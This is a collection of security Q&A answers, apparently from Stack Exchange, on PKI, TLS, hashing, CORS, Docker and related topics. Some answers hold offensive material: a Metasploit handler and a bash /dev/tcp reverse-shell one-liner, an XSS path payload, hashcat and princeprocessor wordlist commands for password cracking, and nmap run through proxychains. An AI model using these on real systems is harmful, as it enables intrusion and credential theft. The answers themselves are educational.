Digital signatures in a corporate network

You seem to want to roll your own signature infrastructure. As @Chenmunka points out this is almost always a bad idea.

A few questions remain outstanding.

You want to store the private keys in LDAP but the signatures in a database. Why not just store the keys in the database? If a user gains more access than they should to the database they can just replace the signatures - so having the keys there is no less secure.
How are public keys distributed and verified?
How do you enforce your users actually sign documents and check signatures?

Without establishing your full use I can't know for certain but it feels like there is also no need for this system. What does it establish? It feels like it will be clunky and a pain for users to use - which means they will find ways around it.

If you just want to be able to prove who edited a document there are built in tools in Windows. See audit object access.

Alternatively if you want users to be able to easily check who authored a document there is support for this built into many common document formats. These bake the certificates into the documents and allow verification via certificate chains inside of the editor - i.e. you only need to add the root certificate to users machines which can be done via group policy. All office formats and PDF support certificate based publisher signing. You could create your own root certificate authority and issue each user a key (or ideally have them generate certificate signing requests - that way the organisation does not have to hold the users private key and administrators cannot easily forge signatures).


Do websites grant their own JWT token after successful OpenID/OAuth2 login?

Recommendation would be to generate ones own as then you are now in full control of that token, when it expires, etc. that said, I'm sure there is a site somewhere that doesn't follow this practice.

That said, you may keep a record of the original token as well for audit trail purposes.


When I open my gmail account,this shows,does this mean my account is hacked?

This occurs because you're viewing an email that contains images and other resources served over HTTP, whilst the connection to the gmail site itself is HTTPS. This is known as mixed-mode, and it's risky in cases where an attacker can perform a man-in-the-middle attack. In this case, I don't think you should worry about it - it's completely normal to get this warning if you have embedded images enabled in emails.


Anti-phishing educational resources for users?

Full disclosure: I'm the owner of SelfPhish.com

When I was looking for examples of online sources, I found material was either skewed too much to the simplistic, or too much to the technical.

When it comes to phishing education, what you are looking to do is not simply to educate, but to change behaviors. More specifically, how to respond to 'triggers'. When an employee receives an email, what are they supposed to do. As you look for (or design your own program as many people do) material, keep an eye towards providing actionable steps on how to respond to any email. If you keep it to the behavioral level, then you may be able to bypass trying to teach technical concepts to your general population.

I could flood you with tons of available resources on the topic, but I would simply get you to look at the APWG as a source of public info that you can use.


How to set up a two-tier CA hierarchy in Windows 2012R2 certificate authority?

AskDS team (Microsoft) have a series of posts that covers 2-tier PKI (what you are looking for) deployment with ADCS:

Part I Design and Planning
Part II Implementation Phases and Certificate Authority Installation
Part III Certificate Templates
Part IV Configuring SSL for Web Enrollment and Enabling Key Archival
Part V Disaster Recovery

what you can safely skip is web enrollment component installtion and key archival feature. Web enrollment is deadly obsolete and key archival is necessary only for user encryption certificates. For SSL/TLS it is not necessary.


Nessus found a vulnerability, but no corresponding exploit on Metasploit : How to run with meterpreter

Basically, you need to use the exploit in the exploit-db link to get a shell, then start a Metasploit handler:

use exploit/multi/handler
set LHOST [local ip address]
set LPORT 4444
set payload linux/x86/shell/reverse_tcp
run

Once the payload handler is running, you can make a reverse TCP connection from the router to get a session on Metasploit:

bash -i >& /dev/tcp/[local ip address]/4444 0>&1

Then background the session and use the module post/multi/manage/shell_to_meterpreter to upgrade the shell to a Meterpreter shell.


Your solution relies on the assumption that reverse-engineering of an obfuscated app is hard. However, this assumption does not match experience. Therefore, one cannot really tell that your solution is good.

However, maybe your solution is the best that can be done (not the same thing as "good"). The alternative is user authentication. Namely, each app instance would get its own authentication key; then, it is up to the server to accept a key or reject it. This gives you the ability to revoke a key which appears to have been reverse-engineered; it may also give you legal leverage to prosecute offenders.

If you do pursue the concept of generating a time-based key in the app, then at least do it with the proper cryptographic tools. In this case, use HMAC: encode the current time into some bytes, then compute HMAC/SHA-1 (or HMAC/SHA-256, whichever is easiest for you) on these bytes, using a hardcoded key. The hardcoded key is the target for reverse-engineering. Using HMAC will at least protect you from key reconstruction by analysis of the output: the attacker will really have to do some actual code disassembly. You will also need the app to send its notion of "current time" as an extra parameter, because you cannot rely on the client device being well synchronized.

(None of this being exclusive with running the whole thing in HTTPS, which is usually a good idea when security matters, but is really another subject here.)


If they were to break in to the system and download the hashed password file, they could, with difficulty, find passwords that would work.

While nobody has been able to turn the output of the MD5 hash into the original text. The bad news is MD5 does not take very much CPU time.

“Wait, is that bad news?”  Actually, it is.  When calculating hash values, you want to take more CPU time, rather than less.  The faster the bad guys can test millions and billions of passwords, the quicker they can arrive at the one you are trying to keep secret.

I ran a test of five million nine character passwords and got the following results on my machine (using openssl, results in milliseconds):

MD5   : 2449
SHA1  : 2620
SHA256: 3884

If they want to test about 5 billion passwords, which would cover almost all the possible six character passwords, the CPU time would range from about 28 days for MD5 to 44 days for SHA256.  This is with a single thread on a not very fast computer.  If they invested a few hundred dollars for half a dozen graphics cards, this could be done in hours.

It is common for the hashing process to calculate the hash multiple times.  We would calculate the hash of the password "abc123" and get “8be8efb0bfa…” If we then calculate the hash of the hash, we will get “98dead38ed2…”.  You can see that if we do this ten or 100 times, we will hardly notice the difference in the time but the bad guys will have to take not hours but days or months.

Don’t forget, you only need to find a string that hashes to the value stored in the password table, not necessarily the original value.  Any collision will do.  There are ways of attacking the hash itself to find collisions that may be simpler that this brute force attack.  For what it is worth, I doubt there are very many pairs of printable character strings that hash to the same value.

I am not sure this exactly answers your question but it seems relevant.


Is it possible to scan the whole IP range to find a domain behind the CDN?

Probably not.

CNN could be using a push CDN (where data is sent to the CDN) instead of a pull CDN (where it downloads from a central server).
Fastly also provides hosting services, so CNN could just be using them directly.
If CNN does run their own servers, they probably have firewalls in place so that their servers only answer requests from fastly.
And finally, some webservers are probably going to answer any request, without checking the domain first, so you'd have to sort out the "real" CNN from all the other servers that just happen to answer to any name.


Why does file traversal not working in this PHP file upload code?

The script calls basename on the $filename variable, which returns just the file portion and strips out the directory path.
$didUpload = move_uploaded_file($fileTmpName, "/var/up/". basename($fileName));

So if $filename is ../../../fname, then basename($filename) will be fname.


Reccomended way to securely erase SSD storage of a smartphone?


How can I run nmap scan via multiple proxies (not chained; each proxy will be used for disjoint part of the scan)?

I believe the best option is using the proxychains tool for that.

In the configuration file (/etc/proxychains.conf) you can list your proxy servers and then enable the "Random Chain" option. You can find a nice step-by-step on this tutorial. Also, if you want to use just ONE proxy each time, set the "chain_len" option to one.

Just a quick tip, when running a nmap scan over proxychains, don't forget to use the flags "-sT -Pn", otherwise your scan may fail.


is Digital Signature vulnerable on the Internet?

The problem you are outlining is not a problem with digital signature per say, but is part of a bigger problem with establishing identity in PKI systems. A digital signature on some data proves (assuming that your digital signature algorithm is secure) that this data has not been altered except by whoever holds the matching private key. You still need to have some scheme to match public keys to users (or servers etc).

In x509 (SSL, TLS) this is done by subject matching (does the common name on the certificate match the server name I am connecting to?) and by establishing a trust chain

In PGP this is done via manual matching or via the web of trust


The universal parts of an exploit are often called "shell code" because they usually do exactly that: Start a shell process and connect stdin/stdout to a network socket.

This paper may be interesting:

  To demonstrate, we perform an over the network brute force return-to-libc attack  against a pre-forking concurrent server to gain remote access to a shell.


Using crunch, but using words like chars

Depending on your use case, there are a couple of options:

If you want a lot of control over the contents, but you also want many permutations, then scripting it yourself (as already suggested in the comments) may be the only way to do it.
Otherwise, tools from the hashcat family can be used to generate all possible permutations up to a given element count. Especially for the general use case from the title of your question "using words like chars", princeprocessor is an effective choice.

At a minimum, it sounds like you'll need to use a script to generate all possible two-digit numbers, and then combine that list with your other dictionary, and then feed them into a tool that will generate many different combinations for you. There are a couple of ways to do this.

Here are the files that I'll use in some examples.

$ cat - >words.list
password
qwerty
iloveyou

$ seq -w 1 99 >digits.list

$ head -1 digits.list
01

$ tail -1 digits.list
99

Combining a list of strings into all possible combinations is what password crackers usually called a combinator attack. Some variants of this attack only combine each element twice, or three times, but it sounds like you're looking for a range of element counts. Otherwise, combinator and combinator3 from hashcat-utils could generate the lists:

$ combinator words.list digits.list | head -5
password01
password02
password03
password04
password05

$ combinator3 digits.list words.list digits.list | head -5
01password01
01password02
01password03
01password04
01password05

If you only needed to iterate through all possible numbers in a specific position (at the end or at the beginning), a hybrid attack (wordlist + mask) would work, and you could use hashcat's --stdout option to generate the list:

$ hashcat --stdout -a 6 words.list ?d?d | head -5
password12
password08
password20
password31
password98

$ hashcat --stdout -a 7 ?d?d words.list | head -5
12password
08password
20password
31password
98password

But if you want more than 3 elements per result -- strings like '1515password15', 'passwordpassword1515', '15password15password' -- etc, then you'll run into the two- or three-element-per-string limits of these approaches.

If you are willing to be a little relaxed about composition - in other words, if it's OK if some of the strings are digits-only sequences like "013522" or words with no digits at all, you can escape those limitations with princeprocessor (pp64), like so:

$ cat words.list | pp64 | tail -5
iloveyouquerty
passwordpassword
iloveyoupassword
passwordiloveyou
iloveyouiloveyou

princeprocessor will generate all possible permutations, up to the element count that you specify.

One potential issue is that princeprocessor will try to order the output in favor of shorter strings first, so you'll get a lot of numbers before you start to hit the words:

$ cat digits.list words.list | pp64 | head -100000000 | tail -5
07743573
08743573
09743573
10743573
11743573

If you want more control over the contents - for example, all of the resulting strings must contain at least one set of non-digits, I'd simply filter the results with grep:

$ cat digits.list words.list | pp64 | egrep [a-z] | head
password
iloveyou
01qwerty
02qwerty
03qwerty
04qwerty
05qwerty
06qwerty
07qwerty
08qwerty
09qwerty
10qwerty

$ cat digits.list words.list | pp64 | egrep [a-z] | egrep [0-9] | head -5000 | tail
4145qwerty
4245qwerty
4345qwerty
4445qwerty
4545qwerty
4645qwerty
4745qwerty
4845qwerty
4945qwerty
5045qwerty

If you only want results that guarantee at least one element from both list, but you also want a variable number of elements, filtering the output from princeprocessor is the best way that I know of.

Filtering the output from princeprocessor with grep is a bit of a workaround (for there being no tool that natively understands that you want at least one element from each list). As far as I know, if that's your use case, it would require new development (either writing your own script, or modifying the princeprocessor source).


what is the most secure hash for virus definition databases in 2015?

A collision for a cryptographic hash function h is a pair of data elements (two sequences of bits) m and m', which are distinct from each other, but hash to the same value (m ≠ m' but h(m) = h(m')). Since a hash function accepts as input sequences of bits that can be much longer than the fixed output size, the number of possible inputs to a hash function exceeds the number of possible outputs; therefore, it is a mathematical certainty that collisions exist for any given hash function. A cryptographically secure hash function is such that actually finding a collision is computationally infeasible (we know that collisions exist, but we do not want people to be able to find them).

A collision attack is an attack that exploits the structural weaknesses of a specific hash function to produce collisions. This works only for hash function for which a weakness is known, i.e. functions that, by definition, have been demonstrated not to be cryptographically secure.

What a collision attack would allow for an attacker, in your case, is unclear. Your envisioned "virus database" stores hash values computed over sequences of bytes that have been deemed "malicious" and should be shot on sight; you want to store hash values and not the malicious sequences themselves mostly to make lookups more efficient and to keep the storage costs low. If the attacker arranges for two of his virus to hash to the same value, then this means that inclusion in the database of the (common) hash value would resulting in banning both virus in one go, which is about the opposite of what the attacker would like: the attacker wants his virus to go undetected, not to be spotted even more efficiently.

Collision attacks would be a huge problem in the case of a database of non-virus. If you make a database of "sane" executables, then the attacker would try to make a collision between a harmless executable m, and some malware m'; he would then submit m for verification, so that h(m) is added to the list of "verified harmless files". Since the attacker arranged things so that h(m) = h(m'), that collision would mean that m' (the virus) would also be declared sane.

While it is unclear what could be gained (for the attacker) from hash collisions in a virus database, it is nevertheless considered better to use a cryptographically secure hash function, just in case. The main example of a non-secure hash function is MD5: collisions can be very efficiently produced for this function. The situation of SHA-1 is less clear: no collision has been exhibited yet, but a theoretical attack has been described, which should result in collisions with a computational effort that is huge (261 evaluations of the function) but still substantially less than the efforts which would be required for a "perfect" hash function with the same output size (280).

The usual recommendation for a secure hash function is SHA-256, or, more generally, any function of the SHA-2 family (SHA-256 is one of the currently six members of that family).


There are at least two meanings of the acronym SOC, completely unrelated:

Security Operations Center
System and Organization Controls

Whenever you see "SOC <Number>", like SOC 1 or SOC 2, that means System and Organization Controls which are a complex and well defined set of audit requirements.  The different SOC levels are defined by the AICPA as a standard for audits.
In general, when performing due diligence on a third party vendor, a SOC 2 report is asked for:

A SOC 2 audit examines and reports on a service organization’s
internal controls relevant to the security, availability, processing
integrity, confidentiality and/or privacy of customer data.


Worst case scenario, what can a Chrome extension do with "Your data on all websites" and "Your tabs and browsing activity"?

Send a list of all the websites I visit to the maker?

Yes

  Capture data I input into forms? (like my personal data, passwords, etc.)

Yes

  See how long I have been on a website, and which pages I have visited?

Yes

  Access cookies?

Updated, See the following comment from Bryan Field for this one.

  Bryan Field: Great answer, except for number 4. Cookies without the httponly flag can be accessed for sure, beyond that I don't know. I would add that it is likely that the extension could manually call, for example your Gmail page and get all your emails, even if you do not have Gmail open during the time the extension is opened. You need only to be logged in and it can call those pages. So even if the httponly cookies can not be directly viewed (number 4), it doesn't really matter, because the cookies can still be indirectly and effectively used

  Access other files on my computer? (I guess not, given the Sandbox environment, but I'm still wondering)

No – like you say the sandbox will prevent that.

  Do anything worse?

Read (and send) data on all the pages you visit.

Some more details on why this is often needed, but not always is discussed in this question Why do Chrome extensions need access to 'all my data' and 'browsing activity'?


Remove Password Protection from XLS Document

See this blog post which links to the official documentation. As the blog post explains, it seems that the encryption uses RC4 with a 128-bit key which is derived form the password; BUT (and that's the important point) the derivation truncates the unknown values at some point, down to 40 bits (see section 2.3.6.2). So, for a given document (using the salts and other values which are in the document header), there are only 240 possible RC4 keys, and that's workable with a PC in a fortnight (the blog post states that it could be lowered to "a few minutes" with GPUs, which is a bit exaggerated and unsubstantiated, especially since RC4 does not map well on GPU).

The challenge is finding software which does the exploration, from sources which are sufficiently respectable-looking that you would not fear running it on your PC. The other solution is programming it yourself.

(I had begun something like that at some point, but the file owner suddenly remembered the password and my effort stopped. So I quite believe that it is doable, and not very hard, but I have no code to show.)


Does TLS fall back to unauthenticated key exchange if the CA is not known to the client?

I am being generous and I assume your lecturer is merely extremely out of date and they meant anonymous TLS cipher suites.
In the 90s, a TLS client might have sent a ClientHello which lists cipher suites in preference order and included something like "TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA, TLS_DH_anon_WITH_3DES_EDE_CBC_SHA". The TLS server might have looked at it and decided that since it doesn't have an RSA certificate (because it has a DSA certificate or a static DH certificate or no certificate at all) it can't use the first option, so it's going to use the second option, and they would have used unauthenticated TLS.
They may as well also use TLS_NULL_WITH_NULL_NULL (yes, no key exchange, no authentication, no encryption and no MAC).
In the real world, those cipher suites are not allowed. Decent TLS 1.2 implementations simply don't support them. TLS 1.3 doesn't include such things even in theory, AFAIK.
Additionally, there has never existed a mechanism by which a TLS client can look at the certificate chain offered by the server and change its mind and ask for a different cipher suite in the same session. It's too late, the cipher suite has been chosen already.
A TLS client can try some values in ClientHello, look at the response from the server, decide it doesn't like it, close the connection and try again with different values in ClientHello. This might be required to deal with server bugs related to negotiation, in particular the famous TLS version intolerance. SCSV has been invented to prevent downgrade attacks on such clients.
Almost universally, the TLS client does not tell the TLS server which CAs the client trusts. The "TrustedAuthorities" extension exists (and a TLS 1.3 replacement), but I've never seen it used. If it's used, it is used only by small embedded devices (same as Maximum Fragment Length).
In common use, a TLS client tells the server:

The supported TLS protocol version.
Optionally, the domain name, using SNI (this is often needed to make HTTPS work)
Optionally, the next protocol (using ALPN), which is needed for
HTTP/2.
Optionally, which kind of digital signature system and which
kind of hash function (TLS 1.3 version) the client is willing to use to verify signatures,
which is an opportunity for the server to choose between RSA and
ECDSA certificate, if it has both types for the domain (or at all,
if selection by domain name is not used). At a time when SHA1 certificates were not allowed in general but still allowed for clients that do not support SHA2, this was done.

A TLS client might try different values of all that (and more) to see if the server sends different certificate chains (or cipher suites). No TLS client I know of performs the fallback retries conditionally on user input. Either it performs retries or it doesn't, based on policy, and at the end it comes back to the user with the best result it was able to get and either shows "secure" indicator or shows an "insecure" indicator or shows a "full page interstitial" (a full page error with a hidden "disregard and continue" button, like this).
Note that the TLS protocol really is meant to work without the client probing different handshake options. For example, consider a server that has a preference for cipher suites in a particular preference order which is ordered in a silly way. A client that offers "TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256, TLS_DHE_RSA_WITH_AES_128_CBC_SHA" will get CBC instead of GCM, even though the server supports GCM. The client might see the choice of CBC and try a different handshake in which it offers only GCM. If it then gets GCM, it might learn that the server is silly and it should craft handshakes for that server in which it does not offer CBC. The TLS protocol authors would like it if people did not have to do this, and so they would prefer if TLS servers always made sensible choices given any particular ClientHello. GREASE was created to try to fix one reason for such fallback retries.
BTW, TLS 1.3 made significant changes, so much that they thought to call it TLS2.0. You should look at the RFC.


Access control allow origin browser protection efficiency

It is important to notice that CORS is not around to solve all security issues but rather a specific one which is being able to read data from a third party resource (I am on google.com but I try to read facebook.com cookies).

Take a look here:

  The Cross-Origin Resource Sharing standard works by adding new HTTP headers that allow servers to describe the set of origins that are permitted to read that information using a web browser.

Due to the fact that CORS exists just to just protect the reading of a third party website, and a CSRF attack is submitting data, the CSRF attack being launched will probably work but you will not get any response (Again because of the restricted reading).

Note: There is nothing special here since you can launch the CSRF attack even if this was not possible via CORS. Instead of sending it via AJAX you can just redirect the user to the specific url using location.href = www.example.com/csrfhack=some_hack


What happens if your email file on local drive get's encrypted and it then syncs to the cloud?

It seems very unlikely that Exchange would be able to communicate with a corrupted system.

It is hard enough to get it to work correctly under ideal conditions.


Shibboleth SP two resources and two IDPs

There are several solutions to this problem:

Instead of "require valid-user" use a different authorization rule. E.g. if you know that users from IdP 1 have a common attribute (e.g. schachHomeOrganisation=company1.com) that only they have and users from the other IdP 2 have another common attribute (e.g. o=Company-XY) then use these attributes for access control with "Require shib-attr  schachHomeOrganisation company1.com" and "Require shib-attr schachHomeOrganisation o Company-XY". Obviously, your SP would need an entry in attribute-map.xml for these attributes.
The better and safer solution would be to configure a separate logical Shibboleth application for the two sites, the default one that you already have in ApplicationDefaults which has metadata only for the auth0 IdP, and another one with an ApplicationOverride (e.g. with id="myotherappname"), which has metadata only for the okta IdP. This can be configured by using an ApplicationOverride element in shibboleth2.xml for the second application. In apache for the second application you then would add to the apache directive "ShibRequestSetting applicationId myotherappname"


You can do it if you want to. Go ahead. No? Why haven't you switched yet?

Yep, there's the problem. Nobody else switched. If you change the rules, you're effectively creating a different Internet. One that isn't entirely compatible with the Internet we all have, which means nobody is on it but you.

This Internet, the one we're using right now, works well enough. There's stuff we don't like, but altogether it works well enough that nobody wants to start over.

If you want to change some rule, like DNS or routing or some other core component, chances are there's a few people on the fringes of society who will play along. So set up your Alternate DNS Root and talk to them. Five dollars says I know what they'll want to talk about.


Why does OpenVAS report CVE-2003-0042 when my server isn't running Tomcat?

Yes, it may be a false positive.

CVE-2003-0042 was caused when a GET request contained an embedded nul character, and made it possible to list directories that should not be listable and to obtain source code for JSP files.  The OpenVAS test for this vulnerability sends a request for the site's home page, and if this does not produce a directory listing, it sends another request containing an embedded nul.  If the malformed request returns a directory listing when the original request did not, the site is assumed to be vulnerable.

However, modern versions of Apache respond to the nul character in the malformed GET request by discarding the remainder of the line.  This includes the information about which virtual host the request is for, so the request is parsed in the context of the default virtual host.

As a result, if the home page of the default virtual host generates a directory listing but the home page of the virtual host being scanned does not, a false positive for CVE-2003-0042 is generated.

This false positive can be prevented by placing an index.html file on the home page of the default virtual host, so that a directory listing is not generated.


How secure is docker container-to-container traffic?

From the docker documentation on container linking, it's possible to see that the standard setup for links is to create an internal network on the docker host which is used by the containers to talk to each other.

This network isn't exposed off-host by default so from that perspective it should be secure from network based attackers (i.e. no ports or services are accessible over the network so nothing to attack).

If an attacker gets access to the docker host, well the security of the containers is likely in trouble anyway with or without linking, depending on the privilege level the attacker can get, as with access to a privileged account on the docker host all bets are off.

The other likely attack scenario is where the attacker gets access to the externally facing part of your containerized application.  Here there again isn't much downside to having used links without additional security as once they have access to the front-end application server, they're likely to get the credentials needed to access the back-end services as those will be present on the front-end server.

One note of caution would be that if you design relying on container linking security, you may run into issues if you later scale up your solution to split components of the application onto different VMs or indeed different physical hosts, as you would then potentially be exposing those services to untrusted networks.

In summary I'd say that container linking should be considered a relatively secure means of inter-container communication.


How likely is it that the Hot Potato vulnerability can be exploited on a up-to-date Windows 2012 machine?

No, SMB signing and/or EPA must be changed at the policy level -- either local policy and/or Group Policy. There is no patch that properly covers all NTLM relay attacks. The other worry is JASBUG, which requires SMB signing and/or EPA along with a UNC Path Hardening policy.

See -- https://security.stackexchange.com/a/139578/140 -- for more information on both


Would using RSA SecurID Token across security domains introduce any weakness?

The SecureID token come with a fixed built-in secret which only provisioned to the owners idendity server. You cannot authenticate to others with it. And if you could, the admin of the second server could spoof your token on the first.

The only option you would have is to operate the server for both realms by a trusted thirdparty. Like many of the SSO/Login providers.

Sidenote: if you look for other tokens which could be used in such a scenario, TOTP tokens could be re-programmed/seeded. Only problem is I haven't found any which allow more than one seed to select. But for TOTP soft-tokens (apps) this is widely used.


There are 2 main things to look for:

known indications of compromise
anomalies that would be indicators of compromise

By going to VirusTotal and running antivirus scans, you are looking for known indications of compromise.

Looking for traffic back to the site is in the realm of looking for anomalies, but it is not very helpful. A phishing URL may exist for only a few hours. Phishers know that their URL get blocked pretty quickly, so they plan for it. when the device is compromised, they would direct the device to contact their more permanent command and control server. So, what you would want to look for is anomalous traffic from the device. Your ability to gather and classify data as anomalous will depend on your toolsets.

You also want to look for anomalies on the device itself, like new accounts, new running processes, changed binaries, opened ports, etc.


How is storing an API secret key in plaintext (in a database) secure?

Your thinking on this is too black and white: safe or unsafe.  There's no safe here, just a spectrum of risk.

Companies that provide these APIs are making a judgement call and trying to balance risk with performance.  Not all of these API calls need to happen over SSL.  Think about uploading an image to S3, does it need to be encrypted?  Probably not.  The key requirement is that the calls are authenticated and authorized.  Think about a million distinct calls to SDB or SQS, how much overhead on the client and server side will SSL create?  Basically SHA2 is fast and SSL expensive, now multiply by 1,000,000.

Is there risk involved with keeping the API keys in plaintext on the server side? Certainly, but these companies are making a bet that they can put other mitigations around those key stores that lower risk to an acceptable level.  (Ultimately if I get access to your key store, hashed or plaintext, there are several malicious things I can do like swap in my secret key for yours.)

About your statement: "doesn't really provide any assurance that the client is who they say they are"

That's true about almost all authentication schemes.  If someone logs into this site with my username and password it doesn't prove that they are me, just that they possess my credentials.  If someone uses my thumbprint to unlock a biometric lock, it indicates that they have some way of providing my thumbprint in a way the lock will accept it.  What changes here is how difficult that is.  Stealing credentials may not be that hard, impersonating thumbprints is probably harder but not impossible.


What does it mean for Qbot to "target" certain banks?

I've known this malware by the name of Qakbot, but even from the article you have linked:

This appears to be a dedicated campaign with a browser hijack, or
redirection, as the main attack method when the machine is infected.
As Qbot watches a victim’s web traffic, it looks for specific
financial services from which to harvest credentials.

Typically malware will either record keystrokes and/or inject itself into a browser process. From BleepingComputer's article:

Some of the techniques Qbot uses to steal sensitive information:
Keylogging – Qbot captures and sends every keystroke that the victim enters and uploads them to the attacker.
Credentials/cookies – Qbot searches for saved credentials/cookies from browsers and sends them to the attacker.
Hooking – the main payload injects to all the processes in the system with a code that hooks API calls and searches for financial/banking string the malware extracts the data, credentials, or session cookies from the process and uploads it to the attacker.

It probably does this with a user mode hook, so anything the OS handles internally is likely safe. Obviously the attackers can gain administrative privileges at some point, so that is subject to change.


How big is a canary word on Linux, typically?

Let's try it out! Here is a very simple example program.

int test(int a)
{
    return a;
}

Compile it with GCC and intercept the compilation at the assembly stage. (The -S flag will do this.) Rename the assembly file (so it won't be overwritten) and compile again, this time also adding the -fstack-protector-all and -mstack-protector-guard=global flags. The first flag enables stack canaries for all functions, the second selects a global canary instead of a thread-local one. (The thread-local default is probably more useful in practice but the assembly for the global version is easier to understand.)

Comparing the two generated assembly files, we spot the following addition (comments are mine).

        movl %edi, -20(%rbp)                 ; save function parameter onto stack (unrelated to canary)
        movq __stack_chk_guard(%rip), %rax   ; load magic value into RAX register
        movq %rax, -8(%rbp)                  ; save RAX register onto stack (place the canary)
        movl -20(%rbp), %eax                 ; load function parameter into EAX register for return (unrelated to canary)
        movq -8(%rbp), %rcx                  ; load canary value into RCX register
        movq __stack_chk_guard(%rip), %rdx   ; load magic value into RDX register
        cmpq %rdx, %rcx                      ; compare canary value to expected value
        je .L3                               ; if they are the same, jump to label .L3 (continue)
        call __stack_chk_fail                ; otherwise (stack corruption detected), call the handler
.L3:
        leave

We can see that the canary is handled in the RAX, RCX and RDX registers which are all 64 bit wide. (Their 32 bit counterparts would be named EAX, EBX and EDX. The 16 bit versions are named AX, BX and CX. The 8 bit variants AL, BL and CL.) Another clue is that the operations to store, load and compare the canary (MOVQ and CMPQ) have a 'Q' suffix which identifies a 64 bit instruction. (32 bit instructions have an 'L' suffix, 16 bit instructions a 'W' and 8 bit versions a 'B'.)

Hence, we conclude that the canary is a 64 bit value, which makes sense on a 64 bit architecture (x86_64 GNU/Linux in my case). I expect that they'll always use the native word size as it makes the most sense to me. You can try the same experiment on your machines and see what you'll get.


Are there any other attacks that I didn't consider?

To prevent the single quote form getting encoded, you could try to sneak your payload into the path instead of the query string. For example, if the vulnerable page resides at http://example.com/path/vulnerable.php you could try something like this:

http://example.com/'onerror='payload/..%2Fpath/vulnerable.php

The idea is that some servers resolve the path implicitly. They don't check if the first folder 'onerror='payload actually exists, but immediately switch back to the parent directory (../) and resolve the rest of the path without issuing any redirect. (URL-encoding the slash as %2f prevents your browser from automatically shortening the path.)

  Is there another way to break out of the src attribute?

No, a matching quote is your only chance to escape from the attribute value as explained in this answer.


After a file is deleted, there are no updates to the MFT entry, so yes the deletion occurred on or after 30.12.2019.

Caveats:

This assumes normal functionality. Clearly specialized tools can muck with the MFT.

If all the MAC time stamps are the same (in particular the modified time), then the file was deleted directly bypassing the Recycle Bin. Had it gone to the Recycle Bin, it would have been renamed with a new modified time. Similarly most wiping programs rename first with a new modified time created prior to the actual wipe.

You may be able to find the actual deletion time in the MFT Journal.


Security weaknesses in using RSA encrypted MD5 hash of certificate content

There are two big weaknesses in what you describe -- and one source of confusion.

The source of confusion is that you are talking about "encryption with the private key" which is a flawed analogy. Really, this is a digital signature. Historically, digital signatures with RSA were first explained as "encryption with the private key", but this proves only confusing because such an explanation conjures images of confidential data, which do not apply to this case. Moreover, it is wrong: standard-compliant RSA signatures (as per PKCS#1) are not "encryption with the private key".

In the situation you describe, the weakness that the examiner expects (I assume this is homework) is that MD5 is weak against collisions; this would allow an attacker to craft a pair of certificate contents, one with his name, the other with the name of the bank site, such that they both hash to the same value. He would then get a certificate for the first case (legitimately) and then use the resulting signature on the second certificate. See this page for a demonstration and a lot of explanations (read it !). The important conceptual point here is that the MD5 hash value can be predicted by the attacker since everything which enters MD5 is known -- thus, thinking about it in terms of "MD5 value was encrypted" triggers exactly the wrong ideas.

The other glaring weakness is that 512-bit RSA is weak. A 512-bit RSA key was broken back in 1999. Several other similarly-sized keys have been broken since; in one case (in 2012), this was done with open-source software and 75$ worth of rented cloud-based CPU.


Your scheme is vulnerable to replay attack: an attacker can manipulate the time and date setting of the local system in order to fool your app into accepting an expired security token.

Furthermore, since you're placing all security element inside your local storage, you simply cannot protect it against the local user: he could, for instance, run your app in a debugger, stop it right when it query your local DB and grab your authentication data from memory.

In other word, there is no foolproof way to protect your data in the way you want. All you can do it try to make it less easy through obfuscation.


What security does the new option for two factor authentication that Google offers enforce?

It is not you logging in on this phone, it is (presumably) you logging in on another device. You get prompted to authorize the login on the other device.

That's why the prompt also mentions the device.

So now you get a simple yes or no pop-up, rather than a confirmation email, text or setting up a separate security key. In itself it's not more secure, but it's more streamlined, so more people may start using it.


Statistical data about the performance of various encryption algorithms

If you are asking about the performance of various encryption algorithms, a good starting point can be obtained by running openssl speed.  For instance, here is sample output from OpenSSL:

                  sign    verify    sign/s verify/s
rsa 1024 bits 0.000489s 0.000025s   2046.5  39673.9
rsa 2048 bits 0.003075s 0.000089s    325.3  11241.0
                  sign    verify    sign/s verify/s
dsa 1024 bits 0.000256s 0.000291s   3899.0   3435.1
dsa 2048 bits 0.000880s 0.001048s   1136.3    954.2

You can see that RSA signature verification and RSA encryption operations are extremely fast (10K-40K operations/second, depending upon security level).  RSA signature generation and RSA decryption are slower (300-2K ops/sec).  DSA signature generation and signature verification both run at about the same speed (1K-3K ops/sec).

This benchmark doesn't show ECC cryptography, but generally speaking, you should expect ECC cryptography to be faster and yield shorter signatures/ciphertexts than DSA, for a given security level.


Difference between ISO/IEC 27001 and CISSP CBK

I can see your confusion surrounding this topic.

To start off, the reason why you have the dilemma is because ISO 27001, ISO 27002 and CISSP CBK are all different from each other.

ISO 27001 is an organization-focused standard and provides requirements for your company's ISMS that can be audited.

ISO 27002 focuses on best practices on an individual level (code of practice for use by individuals within a company).

CISSP CBK is a comprehensive framework of all the relevant subjects a security professional should be familiar with (it's not a company standard you can certify your ISMS with).

That being said, if you want official recognition (certification) for your company's ISMS, then choose  ISO 27001. ISO 27002 and CISSP CBK relate to security best practices for INDIVIDUALS within the company.


Can I prove the relation between AIK and EK without asking to the TPM 2.0?

In short, no. But, that doesn't mean that asking the TPM to use the EK is difficult -- definitely no more difficult than asking for a quote (the primary part of an attestation).

First, a nitpick: the AIK (attestation identity key) is a key type of the TPM 1.2 (and before). The TPM 2.0 has a similar key type called an AK (attestation key). Though these keys have similar roles, they are not the same. AIKs can only sign a few (3) different structures. AKs will sign anything that was hashed by the TPM, however the TPM will not hash any data that starts with a magic number, such as a quote. This is how TPM 2.0 ensures that the AK cannot be used to sign a fake quote. TPMs can have non-AK signing keys that could sign a fake quote, however.

A quote is just a chunk of data which comes with a signature. If you fully trust a client to send attestation data without a TPM, then you wouldn't have a reason to use a TPM. If you are going to use a TPM, then you want to know that they signature over the quote actually came from a real TPM. Having a signature from an AK is a good way to know trust the quote (because of that hash/magic number thing), but you need to have some sort of proof that the signing key is actually an AK. To do that, you need a way to bind the signing key back to something that only a real TPM can have: an EK certificate signed by the manufacturer of that TPM.

